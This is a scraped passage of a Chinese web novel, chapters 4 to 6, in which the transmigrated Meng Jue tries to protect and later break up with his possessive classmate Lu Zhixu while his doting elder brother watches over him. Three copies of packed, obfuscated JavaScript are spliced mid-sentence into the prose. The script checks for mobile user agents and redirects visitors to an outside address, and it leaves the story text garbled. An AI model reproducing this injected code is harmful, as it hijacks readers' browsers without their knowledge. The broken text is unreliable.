这里没有许淮,也没有可以遮挡的地方。 搭在数学书的手指蜷缩了起来,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497963|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖紧紧扣着书角。 陆知叙却像是没有看见一般,冷淡道:“我也这样觉得。” 孟觉闷闷不说话。 陆知叙敛眉道:“那我们继续来做题,你的基础比较差,先做数列这道题。” 一时间,隔间里只有笔尖滑过草稿纸的声音。 孟觉怕被陆知叙看出端倪,额头几乎要贴到桌子上了。 不知何时,陆知叙放下了书,目光肆无忌惮地落在男生身上。 眼前仿佛又浮现出对方刚刚一本正经胡说八道的模样。 真有趣。 他还以为哥哥会像上辈子一样掐住他的脖子骂他呢。 还有刚刚在眼前一闪而过的通红的眼眶。 啧,又要哭了。 胸腔里的心脏在剧烈跳动,兴奋地都要跳出来了。 他克制地移开了视线。 好想让哥哥哭得更厉害些。 “我做完了。” 骤然响起的男声让陆知叙回了神,他扫过试卷上的答案,面上冷漠:“这里写错了。” 因为要讲题,两人靠得非常近。 孟觉听着耳边陆知叙的嗓音,不自觉地揉了揉耳朵,往旁边挪了挪。 可当挪一点,就有道视线追了过来。 他低着头,又硬着头皮挪了回来。 陆知叙自然知道原因,但他确实是故意的。 很有趣,不是吗? - 从自习室出来时,雨已经停了。 孟觉学得头昏脑涨,狠狠吸入一口清新的空气,瞬间提神醒脑。 在自习室里那两个小时,是他人生最黑暗的两个小时。 那些数学公式仿佛在他脑子里打架,打得天昏地暗,东一块西一块,永远补不齐,做题的时候更是忘得一干二净。 陆知叙的嗓音再好听,说数学题的时候和公鸭嗓的数学老师也没什么区别。 十道题,对五题错五题。 他都不敢回忆当时陆知叙脸上的表情,和爸爸妈妈、哥哥当年辅导他作业时的差不多。 ……全家只有他不是学霸。 孟觉边走边踢脚边的石头,目光不自觉落在陆知叙格外圆的后脑勺上。 是不是他们的大脑结构和他的不一样,不然怎么能记住那么多复杂的公式呢。 他指尖不受控制地往前伸了伸。 “你要摸我的头吗?” 耳边冷不丁地响起一道冷漠的嗓音。 孟觉猛地回神,发现自己的指腹已经蹭到了陆知叙的头发。 他慌忙收回手,随口扯了个谎:“没有,我看你头上有片树叶。” A市全年四季分明,街道两边栽植着一排排松树,极少落叶。 陆知叙眉头微挑,目光淡淡扫过,哪里有什么树叶。 他没有拆穿,安静地垂着眼睫,如愿听到旁边的松气声。 紧张的情绪放松下来时,孟觉才察觉到肚子饿了。 这个时间点正是吃晚饭的时候,空气中飘着各种美食的香味。 他看向陆知叙,说道:“我请你吃饭吧。” 陆知叙刚要点头,口袋里的手机响了。 他低头看了眼,神情莫辨:“下次吧,我先送你回家。” 孟觉闻言神色一紧,下意识抓住陆知叙的衣服:“你要去哪里?” 刚才那不会就是催债的吧? 他着急开口:“你不准去。” 陆知叙背着光,神情掩在阴影里,嗓音很轻,似乎还带着一声微不可察的笑。 “你是以什么身份命令我的呢?” 孟觉知道如果他不给出一个明确的答案,对方一定会走。 他脸颊微红,眼里蒙着一层水光,清瘦的指尖紧紧抓着对方的白衬衫,嗓音微颤。 “男朋友的身份。” 4. 第 4 章 话音落下,孟觉甚至不敢抬头看陆知叙。 实在是太羞耻了。 拽着白衬衫的指尖因用力都泛了白,几乎紧紧贴在陆知叙的身上。 风吹过陆知叙额前的碎发,让人看不清他眼里的神色。 孟觉睫毛轻轻乱颤,唇肉抿得微软泛红。 “你留下来陪我。” 远处传来一阵清脆的风铃声。 陆知叙这才开口道:“我是去做家教。” 学校里的人都知道高三学神长着一张俊美的脸,但身背巨债,同时打好几份工。 家教就是其中之一。 但孟觉拽得更紧,干巴巴道:“那我陪你一起去。” “不行。” 孟觉就知道对方会说不行,因为家教早就在上个星期就全部结束了。 陆知叙在骗他。 大骗子。 陆知叙不知道孟觉识破了他的谎言,垂眼想起刚才那条信息的内容,冷漠的神情没有丝毫变化。 那种地方,孟觉不能去。 精致的小少爷往那一站,就像被错扔进泥沼里的羊脂玉。 即使他不是主角,满场的目光也会疯了似的往他身上聚集。 他光是在脑子里想象那种画面,就呼吸发沉。 “我送你回家。” 他冷淡道。 “不要。”孟觉第一次这么不讲理,“你现在只有两个选择。一,带我一起去;二,不去,陪我吃饭。” 他今晚是绝对不会让陆知叙跑掉的! 他会一直盯着陆知叙的! 孟觉缠人是有技巧的,硬的不行,就来软的。 以往这招他只对家人用过,希望陆知叙不要不知好歹让他用软的! 因为就像许淮所说的那样,即使现在孟觉已经长到了177.5厘米,但只要他软下嗓音撒娇,没有人能抵抗住三秒。 就在孟觉捏紧拳头打算来软的时候,陆知叙终于松口了:“我去打个电话,然后陪你吃饭。” 孟觉抬眼,眼睛如水洗过一样亮晶晶的,肉眼藏不住的开心:“不可以走远,我要看见你。” 陆知叙点头,走到孟觉一抬头就能看见的地方,拨通了一个号码。 “有事,迟点过去。” 电话那头的人不知道说了什么,陆知叙眼睛半眯:“男朋友太粘人,陪他。” - 深绿色的松针短而硬,一簇簇扎在枝上,被雨水淋得发亮。 孟觉无聊地用指尖捻着,叶尖凝住的水珠滚了滚,滑到他手指上,泛起一丝凉意。 他不在意地甩了甩手,还没等手落回身侧,手腕忽然被人轻轻扣住。 转头一看,是陆知叙。 “你打完电话了?” 孟觉动了动手腕,对方还是没有松手。 然后他看见陆知叙从口袋里掏出一个手帕,细细擦着他沾了水珠的指尖。 手帕一贴上皮肤,孟觉就愣住了。 是顶级长绒棉混着真丝的触感,软得不像话,贴在指腹上温糯服帖,没有一丝毛刺,不磨皮肤、不扎指尖,吸水极快。 他下意识垂眸,目光落在手帕一角。 那里绣着极小却清晰的品牌标识,针脚精致,几乎要融入纹路里。 这是Loratier的手帕,价格在千元左右,但陆知叙的钱都要拿去还债,怎么会买这么贵的手帕? 孟觉被握着的指尖微不可察地顿了顿,眼底的疑惑稍纵即逝。 他没吭声,安静地任由陆知叙擦干净自己的手指。 陆知叙松开手,不经意捏了捏男生的指腹,才将手帕叠好装回口袋里:“想吃什么?” 孟觉先是问了陆知叙的口味,然后带他去了附近一家牛肉汤馆。 这家牛肉汤馆是一对夫妻开的,味道极鲜,肉多还实惠,孟觉和许淮来过很多次。 他一进门,坐在收银台里的老板娘就看见了他。 “小孟来啦!小许今天没和你一起啊——” 她笑意盈盈地说着,往后看时忽然对上一张没有任何表情的脸。 孟觉注意到老板娘话里的停顿,抿唇笑道:“他今天有事,这是我同学,第一次来,你可以叫他——” “小陆。” 陆知叙主动开口。 老板娘:“行,那我以后就叫你小陆了。” 陆知叙眉眼微动,他喜欢以后这个词。 旁边,孟觉点了他最常吃的套餐,转头问道:“你吃什么?” 陆知叙扫了眼菜单:“许淮常吃的是哪个?” “?”虽然不懂他为什么问,但孟觉还是指了出来,“他一般点这个。” 陆知叙颔首,然后点了和孟觉一样的套餐。 孟觉:“……” 学霸的脑回路真的和普通人不太一样。 这家店上餐速度很快,孟觉接过老板娘端来的大碗,刚要说谢谢就听对方指着他的脖子说道:“小孟啊,你这是被虫咬的吗?” 孟觉皮肤很白,一点红印都十分明显。 他看不见,用手挠了挠,但又不痒。 “可能是吧。” 老板娘笑道:“五月份了,确实该有虫子了。” 孟觉没在意,但他注意到陆知叙的视线一直落在他脖子上。 他迟疑道:“很红吗?” 陆知叙边拆筷子边说:“不红,很漂亮。” 后面那句话被店里的其他声音盖住了。 因此孟觉并没有听见。 吃热的时候,他还将领子往下拉了拉,露出一片又白又嫩的肌肤。 只是上面布满了星星点点。 来往的所有人都看见了。 只有他一无所知。 - 吃完饭,孟觉也没和陆知叙分开,毕竟他不知道陆知叙被打断腿的具体时间。 原著里对这里的描述笔墨甚少,只说他被催债,然后断了腿。 虽然他不会打架,但他有零花钱啊。 爸爸妈妈和哥哥每个月都会给他零花钱,加起来大概有五六万,现在正好是月初,还没有花掉多少。 他们要是要钱,他就把钱给他们;他们要是非要打人,他就带陆知叙去警察局躲躲。 总归不能让那些人再把他的腿打断。 大学城周围的夜市很大,吃的喝的玩的,应有尽有。 孟觉在警觉的同时,还拉着陆知叙去玩了套圈。 但他的准头不太好,十个圈只进了两个圈。 他本想问问陆知叙玩不玩,但对方冷漠的神情立马劝退了他。 陆知叙应该是不屑玩的,只有他这个笨蛋脑袋才喜欢玩。 老板见他套中两个,乐呵呵地把地上的两个小玩偶拿给他。 一个黄色的小狗,一个白色的小狗。 孟觉率先拿了黄色的小狗,然后把白色的小狗递到陆知叙面前。 “这只,你要吗?” 既然别人站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497964|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这陪他玩了,那就见者有份咯。 灯光落在男生的眼睛里,亮晶晶的,犹如夜空中最闪亮的星星。 陆知叙敛眸,遮住眼里的情绪:“要。” 孟觉虽有些惊讶,但转念一想,陆知叙现在也只是个十八岁的少年,肯定也有童心,只是因为性格的原因,所以不会主动表现出来。 他拎着小狗的耳朵,走在陆知叙的前面,晃晃悠悠地在各个摊子前闲逛。 反而忽视了身后那道目光。 陆知叙余光瞥到手里的白色小狗,脸上没什么表情,只有眼底闪过一道莫名的情绪。 他记得上辈子哥哥也给过他一只玩偶,但是里面装了针孔摄像头,可想而知,他被威胁了。 骨节分明的手指青筋暴起,又迅速沉寂下来。 转头一看,他的好哥哥正趴在盆边看别人捞鱼。 陆知叙走了过去,在他旁边蹲下。 孟觉察觉到旁边的气息,转头一看,眼睛微亮:“你捞过这种吗?” 陆知叙望着盆里五颜六色的小鱼,淡淡道:“没有。” 孟觉:“我小时候玩过,但一个都捞不起来。” 话音顿了一下,他瞅了瞅坐在另一边的老板,附在陆知叙的耳边,小声说道:“他们就是故意让人捞不上去,好坏。” 陆知叙感受着耳边温热的气息,喉结滚动,微哑道:“嗯,他们坏。” 孟觉说完才发现自己和对方的距离到底有多近,他慌张往后退,撞到了身后的人。 本来是撞不到的,但不知为何,那人往前走了一步,就像是故意碰瓷。 孟觉跌坐在地上,背靠着那人的腿。 好疼。 他从小就对疼痛很敏感,屁股duang得一下坐在地上,真的很痛。 身后传来陌生人的气息,他看不见那人长相,但陆知叙能看见。 孟觉能感觉到那人似乎想伸手扶他,但被陆知叙抢先了。 男生的力气很大,他猝不及防撞进对方的怀里,腰被紧紧箍住,甚至还有点疼。 站稳后,他伸手戳了戳陆知叙的胳膊,轻声道:“可以放手了。” 而在他看不到的地方,陆知叙的脸上不再挂着冷漠的神情,而是布满了戾气。 他薄唇微张,没发出一点声音。 滚。 孟觉被按在男生的胸口上,只能用余光看见两边,根本不知道身后发生了什么。 等他被松开后,他转身看向后面,疑惑道:“刚刚我撞到的那个人呢?” 陆知叙:“可能有事先走了吧。” 孟觉哦了一声:“我还没和他说对不起呢。” 陆知叙一顿:“我和他说了。” 孟觉目光惊讶,他往后退了一步,抬眼看向面前的男生。 经过大半天的相处,他发现陆知叙和原著里描述的不太一样,好像并没有那么冷漠,人也很好。 他抿了抿唇,试探道:“如果你发现有人骗你,你会很生气吗?” 有人? 陆知叙心知肚明:“只要不是特别严重,我不会很生气。” “真的吗?” 孟觉眼睛一亮,大大地松了口气。 那就说明他可以和陆知叙和平相处。 不会离开孟家,也不会死掉了。 “真的。” 陆知叙浅色的瞳孔里印着男生开心的表情。 他当然不会对哥哥生气,只会把哥哥关起来。 5. 第 5 章 一辆黑车缓缓停在孟家别墅门口。 车辆熄火后,司机下车绕到后座,恭敬地拉开车门。 一道修长的身影从车内踏出,剪裁考究的深色西装衬得他肩宽腰窄,眉眼冷冽,自带压迫感。 他低声和司机说了几句话,便让人离开了。 管家早已等候在门口,伸手接过男人脱下的西装外套。 孟博延随手松了松领带,目光淡淡扫过,沉声道:“华叔,孟孟呢?” 管家:“小少爷和许家少爷出去玩了。” 孟博延抬起手腕看了眼时间,指尖轻敲:“孟孟什么时候出去的?” 管家:“上午九点十三分。” “嗯。” 男人姿势放松地坐在真皮沙发里,指尖正要碰到拨号键,门口就传来一阵熟悉的脚步声。 他放下手机,挑了挑眉。 下一秒,少年清亮又惊喜的嗓音在身后响起。 “哥!你回来啦!” 茶杯被他骨节分明的手指放在桌上,发出一声清脆的响声。 随后孟博延熟练地接住朝他扑过来的少年,冷漠的眼底闪着淡淡的笑意。 “不知道哥哥今天回来吗?怎么还跑出去玩了?” 孟觉悻悻地挠了挠脸,下意识撒娇:“哥哥,我只是和许淮出去吃饭,没有忘记你今晚回来。” 孟博延从鼻子里发出一声轻哼,视线一转,看见自家弟弟手里拿着一袋小鱼。 他嘴角微微上挑:“孟孟是要给哥哥加餐吗?” 孟觉看看鱼苗,看看哥哥:“哥,你又开玩笑。” “嗯,不好笑吗?” 孟觉看着他哥脸上认真的表情,沉吟片刻道:“好笑。” 为了证明说的是真话,他还特意哈哈了两声。 孟博延挑了挑眉毛:“那哥哥下次还给你说笑话。” “……不用了。”孟觉婉拒,“哥哥你出差辛苦了,是不是还没有吃饭啊?” 孟博延一听就知道自家弟弟嫌他啰嗦了,抓住他的胳膊道:“这鱼是你自己买的吗?” 终究还是来了。 在进到客厅的那一刻,孟觉就知道他哥会问。 他哥总觉得他是个长不大的小孩,只要出门就会问得很细致,好像特别怕他被人欺负了。 “是我自己买的。” 孟觉撒完谎才发现自己今天好像撒了很多慌! 一道目光落在他的脸上,他镇定看回去,坚决不露出一丁点的破绽。 “是吗?”孟博延收回目光,嗓音轻慢,带着几分漫不经心,“孟孟能自己捞上来?” “!” 孟觉神情微变,连忙大声道:“我当然可以!” 是男人就不能说不行。 “那孟孟能不能还原给哥哥看?哥哥也想学习一下。” 孟觉这才发现自己上当了。 他之前的想法是说这袋鱼苗是直接买的,不是那种捞上来的。 但现在…… 他转了转眼珠:“哥哥,我下次再给你演示,我们家里又没有那个东西。” 只要糊弄过今晚就行,以后他可以说自己只是运气好。 可事情的发展出乎他的意料。 “华叔。” 孟觉警觉道:“哥哥,你喊华叔干什么?” 华叔:“小少爷,杂货间里有,我去找来。” 孟觉脑袋里警铃大作,连忙起身抱住管家的胳膊,眼睛睁得大大的。 “华叔,我们家怎么可能有那种东西!你是不是年纪大了,记错了啊。” 孟博延坐在沙发上,无奈地扶了扶额头。 他挥手让管家下去,手指敲了敲桌面。 “孟孟,跟哥哥说实话。” 孟觉知道自己瞒不下去了,慢吞吞道:“是许淮帮我捞的,我只是想装一下嘛。” “真的吗?” 孟觉听出自家哥哥语气里的危险,猛猛点头:“我今天是和许淮出门玩,当然是他捞的。” 见男人表情有所软化,他再接再厉,撒娇道:“哥哥你是不是不相信我?” 话音刚落,孟博延就弯起嘴角:“哥哥没有不相信你,也不是在拷问你,被吓到了吗?” 孟觉撇了撇嘴,哥哥的嘴,骗人的鬼,明明就是在拷问他!!! 他心里腹诽,但脸上还是露出一抹甜甜的笑容。 “没有啊,我知道哥哥不是在吓我,是在关心我。” 孟博延挑了挑眉,薄唇微启:“你明白就好。” 孟觉以为到这就结束了,刚想转身偷偷回房间,就听他哥又说:“哥哥是最关心你的人,哥哥很爱你。” 听到这句话,孟觉心尖狠狠一颤,眼眶立马就红了。 他以为自己今天已经把坏情绪处理好,但听到哥哥的话,还是很难受。 他背对着孟博延,小声地吸鼻子。 但客厅过于安静,一丁点声音都会被无限放大。 孟博延抽出手帕,轻轻擦拭着他的眼泪,以为他委屈了,低声哄道:“我们家孟孟就算长大了也是个小哭包,是哥哥说错话了,哥哥道歉。” 孟觉泪眼朦胧地对上男人柔软的神情,想到自己和他们不是真正的一家人,刚停下的眼泪又涌了出来。 孟博延这下是真的慌了:“不哭了好不好?要是被华叔他们看见,肯定会告诉爸妈的。” 孟觉已经非常努力了,但眼泪就是止不住地冒出来。 他抽抽噎噎道:“要是……要是我不是你弟弟,哥哥还会对我这么好吗?” 明明在说假设,却还喊着哥哥。 孟博延目光一凝:“是有人和孟孟说了什么吗?” 孟觉哭着摇头。 孟博延眼里闪过一道光,垂眸给他擦眼泪。 “不管你是不是我的弟弟,哥哥永远都会对你这么好。” “那我要拉钩。” 孟觉伸出了小拇指,嗓音里还带着一丝鼻音。 “拉钩上吊一百年不许变,谁变谁是小狗。” 见少年情绪稳定了下来,孟博延才发觉后背都出了汗。 他低头道:“陪哥哥吃晚饭,好不好?” 孟觉吸了吸鼻子,指着袋子里小鱼:“那我要先把鱼放水里。” 孟博延磨了磨牙齿,不懂这破鱼到底哪里值得自家弟弟费心思,但还是露出笑容道:“行。” 许是哭饿了,孟觉陪着哥哥吃饭,自己也吃了一点。 吃完晚饭,孟觉就捧着鱼缸回了房间。 他的房间是整栋别墅采光最好的一间,展柜上摆着乐高玩具和一些奖杯,旁边的墙面上贴着几张电影海报。 他关上门,把鱼缸摆在窗边的桌子上。 鱼缸是华叔拿给他的,里面还有些小景观,小装饰。 窗外黑漆漆一片,只有花园里亮着几盏小灯。 孟觉趴在桌上托着腮,指尖轻轻撒进去一些鱼粮,意识被拉回几个小时前。 他和陆知叙在夜市逛了许久。 直到天快黑,才打算回家。 可陆知叙却拉着他回到刚刚捞鱼的摊位上,在他诧异的目光下,对方足足捞上来五条不同颜色的小鱼。 然后送给了他。 - 倚坐在椅子里的孟觉无意识用指尖拨动着水面。 晚风习习,他微眯着眼,指间转动着一支笔。 面前的纸上已经列出以后可能会发生的事情,他圈出“分手”两个字,又在旁打了个勾。 陆知叙今天那句话给了他很大的信心,所以分手会非常顺利。 等DNA报告出来,他就去和陆知叙分手。 因为他要确保他真的不是父母的亲生孩子。 虽然原著是这样设定的,但小说剧情也是有bug的啊,万一是假的呢。 刚刚大哭了一场,又得到哥哥的保证,孟觉的心境又变强了一点。 只要爸爸妈妈、哥哥还认他,这就够了。 鱼缸里的小鱼浮上来亲吻他的指尖,孟觉注意力被吸引过去,鬼使神差举起手机拍了几张照片。 等他回过神,甚至已经发了朋友圈。 “……” 更有时刻在线冲浪的列表好友给他点了赞。 短短十秒,点赞数高达三十,这让孟觉想偷偷删掉都不行。 嗡—— 屏幕上弹出一条信息,接着又连续震动了好几下。 映入眼帘的便是许淮扣的问号。 【许淮:呵呵^-^】 【许淮:这鱼是陆知叙送你的?】 【许淮:你们是在正经补习吗?】 【许淮:这就是你扔下我的理由?】 除了许淮的消息,还跳出了其他人的消息。 孟觉:“……” 平时没见有这么多人同时给他发消息啊,吃瓜倒是积极得很! 他撇了撇嘴,刚要回复许淮的消息,电话就来了。 顿了三秒,他才接通电话。 孟觉熟练地把音量调得最低,伸长胳膊。 下一秒,许淮的质问就从听筒里传出来。 要不是提前调低了音量,外面树上的鸟都会被惊到飞走。 许淮的声音里带着愤怒、不满,还有一丝委屈和满满的好奇。 他在电话里喂喂喂了好几声,才听到好友的声音。 “你是不是又把音量关掉了?” 孟觉眨了眨眼睛,无辜道:“没有啊。” 许淮很不雅地翻了个白眼,又急急问道:“你朋友圈的鱼是陆知叙送的?” 孟觉轻轻地唔了一声:“不是啊,那是我前几天养的。” 许淮:“你骗小狗呢?” 孟觉:“……” 许淮:“如实招来!” “好吧。”孟觉趴在桌子上,懒懒道,“是他送的。” 许淮:“孟觉,我就是太相信你了,你们这是补习吗?明明是约会。” 孟觉搓了搓脸,反驳道:“我们补习了的,而且这不是约会,这只是兄弟之间加深感情。” 他以后可是要当陆知叙的哥哥,怎么可能和陆知叙约会。 许淮哦了一声,也不知是信了还是没信。 “你走的时候不是说给我发消息解释的吗?这都一天了,消息呢?” 接踵而来的质问让孟觉头皮发麻,越发心虚。 “我……忘记了嘛。” 他毫无底气的声音让许淮抓住,非要他把下午发生的所有事情告诉他。 孟觉抿了抿唇,最后还是隐瞒了一些事情。 说完后,电话那头许久没有声音。 孟觉喊了一声许淮。 “孟觉,你真的完蛋了。” 许淮的声音重新响起。 孟觉:“我怎么又完蛋了?” 许淮嗓音里带着一丝严肃:“你要爱上陆知叙了。” “……你有病?” 许淮一骨碌从床上坐起来,分析给孟觉听。 “连初中部的人都知道陆知叙不近人情,你竟然觉得他是个好人,还心疼他!” “你要知道,喜欢一个男人就是会心疼他。” 卧室里落针可闻,孟觉甚至能清晰地听见自己胸腔里的心跳声。 他抿了抿唇,脑子里闪过陆知叙那张清冷的脸。 只看脸的话,他确实是挺喜欢的。 “你别瞎猜了,我不可能喜欢他的,他也不可能喜欢我,他就是内向了一点,没传言中的那么冷漠,也不是面瘫,他今天都对我笑了好几次了。” “……” 更让人多想了,好吗? 算了,船到桥头自然直。 许淮选择不掺和。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497965|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 之后,两人又随便聊了两句。 眼看时间不早了,孟觉刚准备挂电话,门口响起了敲门声。 他连忙把桌上的纸叠起来,随手夹在一本书里,又打开一本练习册。 刚做好掩饰,门就被从外推开了。 孟博延视线扫过整个房间,最后才落在自家弟弟身上。 孟觉心里一紧,把手机藏到背后,喊了一声哥哥。 孟博延挑了挑眉,慢条斯理地走过来,低沉的嗓音里带着一丝笑意。 “怎么哥哥一来就把手机藏起来了?” 孟觉不自在地摸了摸鼻尖,指尖小心翼翼地敲了敲手机。 这是他和许淮从小到大的暗号。 许淮大气不敢出,手指快要碰到挂断键时,听筒里传出了让他心底发凉的声音。 “许淮,孟孟晚上带回来的鱼,是你捞给他的吗?” 手机被拿走被迫站在一边的孟觉瞳孔一缩,他和许淮的口供还没串好呢。 “哥——” 他刚出声,就被孟博延制止了。 孟博延极有耐心地等着电话那头的声音,姿态慵懒地靠着桌子,随手翻开桌上的练习册。 许家,许淮内心发出一声尖叫,又用力抓了抓头发。 孟博延是他们圈子里最严厉的大哥,在外最嚣张的纨绔子弟见到他,都要灰溜溜夹着尾巴,再恭恭敬敬喊上一声“延哥”。 许淮当然也很害怕,但还是兄弟最重要。 他硬着头皮帮孟觉圆谎:“对,是我捞的,延哥。” 孟博延翻着练习册的手指一顿,意味不明地哦了一声,尾音微微上扬,带着一丝莫名的笑意。 “一阵子不见,你捞鱼的本领渐长啊,等你哥有空,我们带你一起去钓鱼。” 许淮头皮发麻,打着哈哈笑道:“没问题,延哥。” 孟博延眼睛微弯,似笑非笑地看着孟觉:“孟孟也一起去吗?” 孟觉瞬间立正,大声说道:“我当然想和哥哥一起去!” 孟博延满意了,抬起指尖,把手机还给了孟觉。 孟觉连忙接过来,电话那头的许淮也默契地挂断了电话。 “别紧张,哥哥没有别的意思。”孟博延走到男生跟前,弯腰对上他的眼睛,嘴角微弯,“早点睡觉,明天大伯会来。” 孟觉眉头一皱,拽住哥哥的袖子,不开心道:“为什么他要来我们家?” 孟博延纵容着弟弟的小脾气,顺了顺毛道:“不用管他们,有哥哥在。” “好吧。” 孟觉松开手指,发现那块布料被他拽得皱巴巴,连忙心虚地捋了捋。 孟博延看见弟弟的小动作,无奈笑了笑。 还是和小时候一样可爱。 - 洗澡的时候,孟觉发现自己胸口有很多红印,但已经变得很淡了。 他伸手挠了挠,一点都不痒,也不痛。 于是他就没有放在心上。 洗完澡躺在床上,他盯着朋友圈里的红点,没忍住点了进去。 等回复完每一条评论,他就力竭了。 他抱着手机滚了滚,长睫微垂,掩住眼底的一抹情绪。 再看手机时,朋友圈又冒出一个红点。 他懒懒地点进去,嘴里还小声嘟囔着,突然,悬在屏幕上方的指尖顿住了。 只见最新一条评论是—— 【Lzx:很漂亮。】 孟觉一下子从床上坐起来,手指紧紧扣着被褥。 微信朋友圈的评论只有共友才能看见。 所以这条评论只有他能看见。 搞得像偷.情一样。 突然,屏幕上又弹出一条消息。 【Lzx:晚安。】 孟觉指尖微动,后颈的肌肤似乎在慢慢发烫。 【晚安。】 - 与此同时,A市某条街上。 遍街都是霓虹灯光和震耳欲聋的劲爆音乐,每个店门口都排着长龙。 一个不起眼的暗角,头戴鸭舌帽的男生看着手机上那两个字,嘴角微翘。 片刻,他收起手机,目不直视地从队伍旁边进了店。 走廊深处的办公室里。 王杰坐在宽大的老板椅里,挺着啤酒肚,刚要打官腔,就被打断了。 陆知叙站得笔直,淡淡地说起了另一件事。 “对面周老板的店上个月的营业额翻了两倍,如果这个月再翻倍——” 话点到为止。 王杰肥胖的身体一颤,掀起眼皮,讨好地笑道:“小陆啊,你这话是什么意思?” 陆知叙抬了抬帽檐,露出整张脸,语气冷漠:“我这个月可以多上场几次。” 王杰脸色一喜,微顿道:“可你不是要高考了吗?” 陆知叙抬眸看了他一眼,淡淡道:“保送了。” 王杰舔了舔唇:“那你要是这么说的话,我们就有的商量。” 陆知叙嘴角微勾,竖起两根手指:“翻两倍。” 王杰:“???” 王杰眼睛微眯,语气不悦:“太多了。” 陆知叙语气平直地哦了一声,歪了歪头:“那翻三倍。” 王杰:“……” 他的视线在男生那张脸上扫过,次次看,次次都惊艳。 不怪顾客都喜欢看他打擂台,这么帅的脸和极致的暴力,谁能忍住不看两眼呢。 他:“行行行,两倍就两倍,给你涨还不行吗?” 重新签订合同后,他多嘴问道:“那些人又找你要钱了?” 陆知叙收起他的那份合同,视线的焦点落在王杰身后的一副画上,露出礼节性的笑容。 “以后要养个人,总得提前备着。” 王杰眼角抽了抽,从对方嘴里说出这句话,可不像是要养人,更像要杀人。 6. 第 6 章 “孟孟,该起床了。” 孟觉被哥哥喊醒时,顶着一个鸡窝头,满脸的不开心。 他眼睛半睁,双手胡乱地扯着被子,想把自己藏进去。 孟博延站在床边,单手压住被子,从喉间发出一声宠溺的轻笑:“华叔做了你最喜欢吃的水晶虾饺,再不起床就要被土豆抢走了。” 话音刚落,孟觉悄悄地咽了咽口水。 本来他是不会这么困的,但计划赶不上变化。 都怪陆知叙昨晚在他朋友圈下留言,搞得像他俩在偷.情一样,还有很多人给他发消息,他愣是回消息回到两三点。 但水晶虾饺的诱惑太太太大了。 还有土豆那只坏狗狗,总是喜欢抢他的东西! 孟博延知道美食诱惑法起效了,勾起嘴角道:“哥哥先出去,在餐厅等你吃早饭。” 半分钟后,男生略带困意的嗓音响起:“知道啦!” 九点整,孟觉穿着宽松睡衣和小狗拖鞋,懒懒散散地下楼。 有点湿的发尾微微散落,垂落在后颈上,浓郁的黑衬得那片肌肤愈发剔透莹润,细腻得近乎瓷白。 脚还没踏到一楼的地板,一只看不清模样的黄色生物朝他冲了过来。 孟觉脚一缩,往后又上了几个楼梯。 刚站定,那只黄色生物就扑了过来。 它似乎不知道自己的体型有多巨大,小鸟依人地蹭着孟觉,鼻子里还发出哼唧的声音。 孟觉露在外面的脚踝被蹭得暖乎乎的,他抬脚轻轻踢了踢:“别装,你是不是吃我的水晶虾饺了?” 脚下的黄色生物抬起头,老实地看着他。 孟觉眉头微挑,低头闻了闻。 “别装了,你这个面相就不老实,网上都说了你们这种老抽色的,心眼子特别多。” 老抽色的土豆似乎听懂了,立刻收起了那幅老实巴交的样子,慢慢咧开嘴角,仿佛在嘲笑孟觉。 “……” 竟然敢嘲笑他?! 孟觉垂眸,露出一个残忍的笑容:“土豆!你完了!我要去告状!” 金毛身体一震,嗖地一下跑出去了。 孟觉轻啧一声,四轮驱动就是比两轮的快。 但还是要告状的。 孟博延听完自家弟弟对土豆的控诉,安抚道:“好,等会让他顶盘子。” 孟觉点了点头,夹起虾饺开始吃早饭。 等吃完早餐,孟博延派人把土豆抓过来,让它站在墙边不许动。 被抓来的金毛一动不敢动,斜着眼睛偷偷看孟觉,浑身上下都散发着浓浓的委屈。 孟觉咧开嘴露出一口小白牙,弯腰拍了拍它的狗头,慢条斯理道:“好好顶着哦。” 小鸡毛。 还没有陆知叙乖。 - 来人时,孟觉正坐在沙发上和许淮打游戏,头都没抬一下。 孟博延眼底闪过一丝无奈,走过去揉了揉他的头发:“孟孟,大伯来了。” 孟觉这才抬头看向来人。 孟德容,爸爸的哥哥,他的大伯,是他最最最讨厌的亲戚,一身爹味,喜欢说教,总是炫耀他的儿子。 明明没多大能力,还总想当高管,恨不得直接把手伸进他爸妈口袋里掏钱。 “大伯。” 孟觉敛着眼皮,懒懒地喊了一声。 “孟觉啊,”这个语调一出来,孟觉就知道该来的总会来,孟德容站在那,用着说教的口吻,“你也成年了,该懂点礼貌了,你看看你哥,做得比你好多了。” 孟觉歪了歪头:“哦。” 一副不把男人看在眼里的模样。 孟德容脸上的笑容差点没挂住,眼底闪过一丝冷意,重重地唉了一声:“你啊,就是太年轻了,你爸妈、你哥又能帮衬你多久呢?” 啧。 